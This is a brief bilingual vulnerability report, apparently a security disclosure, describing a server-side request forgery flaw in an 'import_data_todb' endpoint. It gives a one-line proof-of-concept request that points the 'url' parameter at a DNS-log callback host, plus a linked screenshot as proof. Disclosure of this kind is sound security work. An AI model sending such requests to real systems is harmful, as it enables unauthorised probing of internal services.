# import_data_todb SSRF Vulnerability / import_data_todb接口SSRF漏洞

## Vulnerability Reproduction / 漏洞复现：

After logging into the system backend, execute the following POC and replace the `url` parameter with the corresponding DNS log address.

POC:

```apl
http://192.168.234.153/import_data_todb?url=http://dnslog
```

Reproduction Proof: / 复现证明：

![](https://raw.githubusercontent.com/saqy2/picx-images-hosting/master/20250222135824.png)